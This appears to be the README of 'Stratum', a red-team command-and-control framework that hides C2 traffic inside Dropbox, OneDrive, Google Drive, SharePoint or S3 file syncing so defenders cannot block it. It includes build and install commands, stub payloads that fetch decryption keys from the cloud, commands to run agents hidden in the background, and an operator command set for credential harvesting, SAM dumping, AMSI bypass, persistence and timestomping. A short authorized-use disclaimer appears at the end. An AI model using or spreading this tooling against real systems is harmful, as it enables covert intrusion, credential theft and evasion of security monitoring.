你的主C2失联了。域名被列入黑名单。Beacon被标记。EDR杀掉了进程。你出局了。
你需要第二条通道——一条从一开始就不会被阻断的通道。
如果命令与控制流量看起来完全像一名员工在向Dropbox同步文件呢?
这就是Stratum。命令和响应以普通文件的形式在云存储文件夹中传输。Agent从不连接攻击者基础设施。唯一可观察的流量是HTTPS到目标防火墙已经白名单化的提供商——因为阻断Dropbox或OneDrive意味着阻断所有使用它的员工。
没有Teamserver。没有攻击者拥有的域名。没有可疑的TLS证书。没有任何可阻断的东西。
操作员 云提供商 目标
──────── ───────────── ──────
/Machine1/
WebGUI ──HTTPS──► input.txt 🔒 ◄── 轮询 ── agent
output.txt 🔒 ──► 读取 ──┘
heartbeat.txt (加密beacon)
Agent在可配置的间隔(+对数正态抖动)唤醒,读取输入文件,执行,加密响应,上传,然后休眠。所有内容使用RSA-4096-OAEP + AES-256-GCM端到端加密。操作员的IP永远不会出现在目标端的任何网络日志中。
| 提供商 | 说明 | |
|---|---|---|
| Dropbox | OAuth2刷新令牌 · 商业和个人账户 | |
| Microsoft OneDrive | Microsoft Graph API · 个人和M365账户 | |
| Google Drive | Google Drive API v3 · OAuth2服务流程 | |
| SharePoint Online | Microsoft Graph API · M365租户站点 | |
| S3兼容 | AWS S3 · DigitalOcean Spaces · Backblaze B2 · 任何S3端点 |
所有五个提供商共享相同的线格式、相同的RSA密钥对和相同的操作员会话。在交战中途几分钟内切换提供商,无需触碰agent。 没有其他开源框架开箱即用地提供此功能。
想要阻止C2的SOC会阻断teamserver域名或前置基础设施。想要阻止Stratum的SOC必须同时阻断Dropbox、OneDrive、Google Drive、SharePoint和S3。这不是防火墙规则——而是没有任何企业会做出的商业决策。死信架构并不试图逃避检测。它运行在防御者已经决定永久信任的基础设施上。
| 格式 | 平台 | 依赖 |
|---|---|---|
.exe / .dll | Windows | 无 — Rust编译的PE(MSVC-ABI),无解释器,进程树中无PowerShell |
.elf | Linux | 无 — Rust编译的musl-static,可在任何x86_64 Linux上运行 |
.bin | Linux / Windows | x64 PIC shellcode — 可放入任何外部加载器或注入器 |
向导生成所有格式。你回答提示;它编译、加密并打包。无需编译器标志、环境变量或手动密钥管理。
| 模式 | 工作原理 | 最佳适用场景 |
|---|---|---|
| staged-enc | 目标上放置最小stub。首次运行时:从云获取一次性引导密钥,在内存中解密完整agent,从云中删除密钥。Payload从不以明文形式接触磁盘。 | 标准交战 — 最小的初始工件,密钥在交付时销毁 |
| stageless-enc | 完整agent嵌入单个交付文件中,使用stub内置密钥加密。交付后无需云密钥获取。 | 隔离或受限网络 — 单个自包含文件 |
| stageless-plain | Agent明文。命令和响应在传输中保持完全加密。 | 实验室和受控环境 |
所有模式共享相同的执行后行为:stub在本地缓存一个硬件指纹加密的blob,因此后续运行从磁盘加载而无需触碰云。
在触碰任何注册表项或cron条目之前,运行 /persist probe。Agent检查当前权限级别下所有可用的技术并返回可行性报告。非破坏性——不留任何工件。
/persist probe
✓ schtask-logon — 可行 (SYSTEM)
✓ registry-run — 可行
✗ schtask-boot — 需要提权
✓ startup-folder — 可行
...
选择有效的技术,安装它,完成后干净地移除。WebGUI跟踪每个会话中安装的每种技术。/kill 一键拆除所有内容——持久化、二进制文件、云工件。
终止日期、维护窗口、对数正态抖动、一次性引导密钥——全部在向导中配置一次并永久编译进agent。交战期间无需管理任何内容,结束时无需忘记清理任何内容。
Stratum不是Cobalt Strike、Sliver或Havoc的替代品。它是它们之下的那一层。
第1天:在主要C2旁边部署Stratum
第4天:主要beacon被标记,进程被杀死
第4天:打开Stratum会话,评估发生了什么
第4天:通过Stratum shell重新引入主要C2
第5天:恢复完全访问
你的主要C2处理后渗透。Stratum处理生存。它是永远不会被检测到的通道,因为它从未试图隐藏——它只是看起来像Dropbox。
这与2025-2026年记录的野外威胁行为者使用的范式相同:TukTuk(Dropbox + Arweave死信)、NarwhalRAT/APT37(pCloud)、COBALT MIRAGE/Drokbk(GitHub)。Stratum将相同的架构以正规框架的形式带到红队侧,而不是一次性植入物。
git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server
编译的agent(.exe、.elf、.dll、.bin、原生Rust)是Stratum的核心功能。向导检测并使用任何可用的目标,仅跳过无法构建的内容。
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64
# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools
# Flat x64 shellcode
rustup target add x86_64-unknown-none && sudo apt install lld
python3 stratum-server.py
打开 https://<host>:<port>,登录,点击部署。向导引导你完成提供商凭据、agent格式、部署模式、持久化身份和护栏(终止日期、窗口、抖动)。最后它会交给你可运行的工件。完整设置细节见wiki(docs/wiki.html)。
# Linux — 后台运行,无终端
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &
# Windows — 隐藏窗口(cmd或PowerShell)
start /b stub.exe
会话在首次beacon时自动出现在WebGUI中。
多操作员、实时、基于浏览器。每个操作员通过WebSocket实时看到相同的会话。
/sysinfo — 完整系统配置文件:硬件、操作系统、网络、AV/EDR、容器
/persist probe — 非破坏性可行性检查,所有技术
/persist install <id>— 安装持久化技术
/persist remove <id> — 移除特定技术
/creds harvest — 收集凭据(Firefox/云内联解析,其余暂存)
/creds harvest decrypt — + 通过CryptUnprotectData解密Chrome/Edge/DPAPI(OPSEC↑)
/creds coerce — 强制本地认证以捕获NTLMv2 / 枚举SSH agent
/creds sam — 内存中SAM哈希提取(Windows,需要SYSTEM或提升的Admin)
/creds listen start [proto:port] — 启动凭据监听器(smb:445, http:80, http-ntlm:80)
/creds listen stop [proto:port] — 停止特定或所有监听器
/creds listen dump — 检索捕获的NTLMv2 + Basic凭据(自动填充凭据标签页)
/bof <file.o> [args] — 在内存中执行Beacon Object File(COFF)(Windows,仅Rust)
/assembly <file.exe> [args] — 通过CLR托管执行.NET程序集(Windows,仅Rust)
/assembly-amsibypass <file.exe> [args] — .NET程序集 + AMSI绕过(Windows,仅Rust)
/memexec <file> [args] — 在内存中执行PE/ELF(Win:反射式,Linux:memfd — 仅Rust)
/script <file> [interpreter] — 通过stdin管道无文件执行脚本(Win+Linux,仅Rust)
/script-amsibypass <file> [interp] — 无文件脚本 + AMSI绕过(仅Win PS,仅Rust)
/kill — 移除所有持久化 + 清除工件 + 终止agent
/download <path> — 从目标拉取文件
/upload <path> — 推送文件到目标
/sleep <s> — 实时更改beacon间隔
/jitter <pct> — 实时更改抖动百分比
/timestomp <args> — 设置目标上的文件时间戳
/exit — 停止agent进程(持久化保留)
每个会话都有专用标签页:Shell · 历史 · 工件 · 持久化 · 凭据 · 控制 · 信息。全局视图:会话 · 部署 · 归档 · 战术 · 设置。
| 模式 | 描述 |
|---|---|
local | server.yml中的用户名/密码。无角色——所有操作员平等。 |
oidc-manual | 外部OIDC提供商(Keycloak、Azure AD、Okta)。基于白名单的访问。 |
oidc-auto | 任何经过认证的身份均可访问。黑名单用于撤销。 |
| 层 | 算法 |
|---|---|
| 密钥交换 | RSA-4096-OAEP-SHA-256(每次部署密钥对) |
| 命令加密 | AES-256-GCM(会话密钥,预共享) |
| 心跳加密 | RSA-4096-OAEP-SHA-256 + AES-256-GCM |
| 响应签名 | RSA-PSS-SHA-256 |
| Blob密钥派生 | PBKDF2-HMAC-SHA-256 · 210,000次迭代 |
| 引导密钥 | 一次性使用——首次agent运行时从云中删除 |
| 二进制中的会话密钥 | XOR混淆在.rodata中——原始十六进制从不逐字出现 |
| 本地blob加密 | AES-256-GCM — 硬件指纹blob缓存在磁盘上 |
添加提供商约360行代码:HTTP传输(upload / download / delete / 令牌刷新)+ 部署向导。加密、心跳、命令分发、持久化、时间戳篡改和工件跟踪由核心免费提供。参考实现:providers/dropbox/。
完整技术文档——加密协议、线格式、心跳内部机制、传输接口、持久化技术、OPSEC说明——位于docs/wiki.html。在浏览器中本地打开。
所有屏幕的UI原型(会话列表、shell、持久化标签页、信息标签页、部署向导、聊天)位于docs/mockups.html——在浏览器中本地打开以浏览每个场景。
Stratum仅用于教育和授权的安全测试目的。
本软件用于防御性安全研究、渗透测试培训和授权的安全评估。用户全权负责确保其使用符合所有适用的法律法规。
对于云服务: 如果测试目标是托管在Dropbox、OneDrive、Google Drive、S3或SharePoint上的,你必须获得服务提供商和资源所有者的明确授权。未经授权访问云服务是非法的。
未经授权访问计算机系统是刑事犯罪,可能导致严重的民事和刑事处罚,包括罚款和监禁。
使用本软件即表示你已阅读本免责声明,并同意仅在获得适当授权的情况下合法使用Stratum。
完整发布历史见 CHANGELOG.md。
为需要不存在的基础设施的操作员而构建。
如果Stratum对你有用,请考虑留下一个⭐——它帮助其他人找到它。